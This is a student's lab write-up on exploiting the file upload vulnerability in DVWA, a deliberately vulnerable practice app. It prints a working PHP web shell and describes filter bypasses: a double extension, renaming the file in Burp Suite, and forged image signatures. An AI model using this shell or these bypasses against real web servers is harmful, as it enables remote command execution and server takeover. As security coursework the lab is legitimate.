File Upload Vulnerability in DVWA: Lab Experiment - 8
File Upload Vulnerability in DVWA: Lab Experiment - 8
Sap id : 500076544
Roll No. : R134219106
Batch : B4 (CSF SEM III )
Subject : IT Applications & Data Security Lab
Lab Experiment – 8
File Upload Vulnerability in DVWA
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
MEDIUM: (Only image file types i.e. JPEG, PNG are allowed)
Write the same web shell but save it by name ‘file2.php.png’
Select the file, but before uploading it, open Burp Suite and turn the interceptor on.
Then upload the file the request will be intercepted in Burp.
In Burp interceptor, change the extension again by editing the file name to ‘file2.php’.
Forward the request. File will be uploaded.
Go to “127.0.0.1/DVWA/hackable/uploads/file1.php?cmd=pwd” and check.
HIGH: Uses getimagesize() function, so the file signature should be of image only.
We will edit file signatures in Hexadecimal editor
Write the same web shell and save it as file3.png. Use xxd editor to edit file signatures.
# apt-get install xxd
# apt-get update